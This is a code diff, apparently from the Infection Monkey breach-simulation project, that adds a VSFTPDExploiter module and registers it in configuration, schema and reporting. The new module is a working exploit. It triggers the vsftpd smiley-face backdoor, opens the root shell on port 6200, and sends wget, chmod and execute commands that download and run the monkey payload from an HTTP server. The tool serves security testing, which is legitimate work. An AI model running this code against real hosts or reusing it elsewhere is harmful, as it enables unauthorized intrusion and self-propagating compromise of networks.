diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index b3b44c585..7969efb62 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -41,7 +41,8 @@ "SambaCryExploiter", "Struts2Exploiter", "WebLogicExploiter", - "HadoopExploiter" + "HadoopExploiter", + "VSFTPDExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 0d4300b5f..ce42d6bcc 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -50,3 +50,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter +from infection_monkey.exploit.vsftpd import VSFTPDExploiter diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py new file mode 100644 index 000000000..c2cfd003c --- /dev/null +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -0,0 +1,123 @@ +import logging +from logging import getLogger + +import time + +import paramiko +import StringIO +import socket +import sys +import time + +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.model import MONKEY_ARG +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline +from common.utils.exploit_enum import ExploitType + +LOG = getLogger(__name__) + +__author__ = 'D3fa1t' + +FTP_PORT = 21 +TRANSFER_UPDATE_RATE = 15 +COMMAND = "uname -a" + +class VSFTPDExploiter(HostExploiter): + _TARGET_OS_TYPE = ['linux', None] + EXPLOIT_TYPE = ExploitType.OTHER + + def __init__(self, host): + self._update_timestamp = 0 + super(VSFTPDExploiter, self).__init__(host) + self.skip_exist = self._config.skip_exploit_if_file_exist + + def exploit_host(self): + try: + LOG.info('[*] Attempting to trigger backdoor...') + ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + ftp_socket.connect((self.host.ip_addr, FTP_PORT)) + + # Attempt to login to trigger backdoor + ftp_socket.send(b'USER letmein:)\n') + ftp_socket.send(b'PASS please\n') + time.sleep(2) + ftp_socket.close() + LOG.info('[+] Triggered backdoor') + + except Exception: + LOG.info('[!] Failed to trigger backdoor on %s' , self.host.ip_addr) + + try: + LOG.info('[*] Attempting to connect to backdoor...') + backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + backdoor_socket.connect((self.host.ip_addr, 6200)) + LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) + command = str.encode("uname -o" + '\n') + backdoor_socket.send(command) + response = backdoor_socket.recv(1024).decode('utf-8') + LOG.info('[+] Response for uname -o: %s', response) + if 'linux' in response.lower().strip(): + #command execution is successful + self.host.os['type'] = 'linux' + else : + LOG.info("Port 6200 opened but failed to execute commands on victim %r ",self.host) + + command = str.encode("uname -m" + '\n') + backdoor_socket.send(command) + response = backdoor_socket.recv(1024).decode('utf-8') + LOG.info('[+] Response for uname -m: %s', response) + if '' != response.lower().strip(): + #command execution is successful + self.host.os['machine'] = response.lower().strip() + else : + LOG.info("Failed to execute command uname -m on victim %r ",self.host) + + src_path = get_target_monkey(self.host) + + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + + + LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) + + #copy the monkey into the machine + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + dropper_target_path_linux = self._config.dropper_target_path_linux + + #download the monkey + download_command = '/usr/bin/wget %s -O %s;' % ( + http_path, dropper_target_path_linux) + LOG.info("Download_command is %s",download_command) + + command = str.encode(str(download_command) + '\n') + backdoor_socket.send(command) + + #changeit to executable + + execute_command = "/bin/chmod +x %s" % dropper_target_path_linux + LOG.info("Execute_command is %s",execute_command) + + command = str.encode(str(execute_command) + '\n') + + backdoor_socket.send(command) + + + #run the monkey + + LOG.info('[+] Connected to backdoor on %s:6200 to execute our command' , self.host.ip_addr) + + command = str.encode("/tmp/monkey " + '\n') + backdoor_socket.send(command) + LOG.info("Successfully ran monkey on the next box \n") + backdoor_socket.close() + self._exploit_info['Vulnerability'] = {"Success":"True"} + + except Exception: + LOG.info('[!] Failed to connect to backdoor on %s:6200', self.host.ip_addr) + + + return True diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 8d99540bf..703f4ee01 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -91,6 +91,13 @@ SCHEMA = { "HadoopExploiter" ], "title": "Hadoop/Yarn Exploiter" + }, + { + "type": "string", + "enum": [ + "VSFTPDExploiter" + ], + "title": "VSFTPD Exploiter" } ] }, @@ -694,7 +701,8 @@ SCHEMA = { "ElasticGroovyExploiter", "Struts2Exploiter", "WebLogicExploiter", - "HadoopExploiter" + "HadoopExploiter", + "VSFTPDExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 73ca69b5b..68aaa18ff 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -41,7 +41,8 @@ class ReportService: 'Struts2Exploiter': 'Struts2 Exploiter', 'WebLogicExploiter': 'Oracle WebLogic Exploiter', 'HadoopExploiter': 'Hadoop/Yarn Exploiter', - 'MSSQLExploiter': 'MSSQL Exploiter' + 'MSSQLExploiter': 'MSSQL Exploiter', + 'VSFTPDExploiter': 'VSFTPD Backdoor Exploited' } class ISSUES_DICT(Enum): @@ -253,6 +254,7 @@ class ReportService: else: processed_exploit['type'] = 'hash' return processed_exploit + return processed_exploit @staticmethod def process_smb_exploit(exploit): @@ -288,6 +290,12 @@ class ReportService: processed_exploit['type'] = 'rdp' return processed_exploit + @staticmethod + def process_vsftpd_exploit(exploit): + processed_exploit = ReportService.process_general_creds_exploit(exploit) + processed_exploit['type'] = 'ftp' + return processed_exploit + @staticmethod def process_sambacry_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) @@ -354,7 +362,8 @@ class ReportService: 'Struts2Exploiter': ReportService.process_struts2_exploit, 'WebLogicExploiter': ReportService.process_weblogic_exploit, 'HadoopExploiter': ReportService.process_hadoop_exploit, - 'MSSQLExploiter': ReportService.process_mssql_exploit + 'MSSQLExploiter': ReportService.process_mssql_exploit, + 'VSFTPDExploiter': ReportService.process_vsftpd_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)